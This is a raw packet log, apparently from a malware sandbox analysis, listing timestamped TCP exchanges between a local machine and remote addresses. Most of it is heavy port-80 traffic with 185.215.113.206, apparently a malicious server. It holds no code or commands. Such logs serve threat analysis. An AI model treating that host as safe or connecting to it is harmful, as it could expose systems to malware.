Nov 28, 2024 17:24:46.599941969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.600455999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.600511074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.600725889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.600931883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.601052999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.601080894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.601181984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.601659060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.601835012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.601855993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.601929903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.602380037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.602400064 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.602449894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.602449894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.603107929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.603208065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.603230953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.603307962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.603800058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.604079962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.604435921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.604573011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.604660988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.604701042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.604756117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.605262995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.605354071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.605411053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.605411053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.605963945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.606060982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.606085062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.606199026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.606669903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.606699944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.606789112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.607400894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.607458115 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.607567072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.607676983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.608072996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.608160019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.608165979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.608247042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.608813047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.608896017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.608913898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.609514952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.609596968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.609661102 CET	443	49879	23.209.72.14	192.168.2.6
Nov 28, 2024 17:24:46.609807968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.610225916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.610255957 CET	49879	443	192.168.2.6	23.209.72.14
Nov 28, 2024 17:24:46.610266924 CET	443	49879	23.209.72.14	192.168.2.6
Nov 28, 2024 17:24:46.610291004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.610342979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.610475063 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.610584974 CET	443	49879	23.209.72.14	192.168.2.6
Nov 28, 2024 17:24:46.610955000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.610980988 CET	49879	443	192.168.2.6	23.209.72.14
Nov 28, 2024 17:24:46.611046076 CET	443	49879	23.209.72.14	192.168.2.6
Nov 28, 2024 17:24:46.611068964 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.611253977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.611375093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.611646891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.611737013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.611813068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.612370014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.612492085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.612541914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.613195896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.613284111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.613569021 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.613806009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.613919973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.613969088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.614065886 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.614533901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.614659071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.614742041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.615289927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.615299940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.615526915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.615977049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.616091967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.616110086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.616184950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.616209030 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.616269112 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.616681099 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.616708994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.616787910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.616791964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.616827011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.617016077 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.617027044 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.617057085 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.617062092 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.617372990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.617398024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.617449045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.617449045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.618092060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.618168116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.618192911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.618819952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.618870974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.618890047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.619512081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.619574070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.619596004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.619663000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.620218039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.620389938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.620410919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.620790005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.620937109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.621109962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.621211052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.621289968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.621643066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.621757984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.621788025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.624123096 CET	49882	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.624180079 CET	443	49882	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.624284029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.624473095 CET	49882	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.624473095 CET	49882	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.624547958 CET	443	49882	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.652573109 CET	49879	443	192.168.2.6	23.209.72.14
Nov 28, 2024 17:24:46.682877064 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.684742928 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.684742928 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.684750080 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.684762955 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.714482069 CET	49883	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.714523077 CET	443	49883	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.714684963 CET	49884	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.714708090 CET	443	49884	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.714736938 CET	49883	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.715114117 CET	49885	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.715145111 CET	443	49885	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.715173006 CET	49884	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.715322018 CET	49886	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.715331078 CET	443	49886	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.715331078 CET	49885	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.715471983 CET	49886	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.715666056 CET	49886	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.715667009 CET	49885	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.715677977 CET	443	49885	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.715682983 CET	443	49886	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.715883970 CET	49884	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.715898037 CET	443	49884	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.716109037 CET	49883	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.716125011 CET	443	49883	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.724451065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.724524021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.724555016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.724864960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.725003004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.725022078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.725208998 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.725321054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.725342989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.725508928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.725529909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.725668907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.726089954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.726149082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.726176977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.726749897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.726865053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.726887941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.727233887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.727478027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.727490902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.727550983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.728184938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.728251934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.728382111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.728502035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.728683949 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.728697062 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.728926897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.728970051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.729130030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.729568958 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.729577065 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.729608059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.729727983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.729782104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.729876995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.730321884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.730401039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.730433941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.730562925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.731035948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.731113911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.731138945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.731180906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.731749058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.731848001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.731867075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.731926918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.732465029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.732568979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.732583046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.732640982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.733154058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.733217001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.733273029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.733371973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.733871937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.733959913 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.734206915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.734385967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.734596968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.734678030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.734687090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.734780073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.735299110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.735402107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.735440969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.735529900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.736104012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.736115932 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.736174107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.736174107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.736880064 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.736938953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.736963034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.737056971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.737711906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.737874985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.737930059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.738090992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.738579035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.771447897 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.772407055 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.772428989 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.774203062 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.774209976 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.800215960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.800229073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.800446987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.800488949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.800730944 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.800745964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.800851107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.801332951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.801405907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.801600933 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.801933050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.801996946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.802105904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.802686930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.802756071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.802767992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.802809000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.803406954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.803459883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.803658009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.803797007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.804121017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.804235935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.804264069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.804393053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.804833889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.804995060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.805087090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.805545092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.805624008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.805682898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.806338072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.806638956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.806761026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.806952000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.807008028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.807096004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.807784081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.807868958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.807939053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.808367968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.808551073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.808656931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.809067965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.809139013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.809168100 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.809246063 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.809806108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.809895992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.810065031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.810517073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.810623884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.810630083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.810720921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.811254025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.811336994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.811619043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.812035084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.812105894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.812134981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.812695026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.812777042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.812803030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.812974930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.813431978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.813606024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.814114094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.814173937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.814207077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.814268112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.814805031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.814899921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.814905882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.815054893 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.815546989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.815723896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.815747023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.816214085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.816281080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.816343069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.816390991 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.816457033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.816998959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.817096949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.817311049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.817740917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.817841053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.817864895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.817925930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.818388939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.818556070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.818583012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.818656921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.819103003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.819164038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.819186926 CET	49813	80	192.168.2.6	185.215.113.206
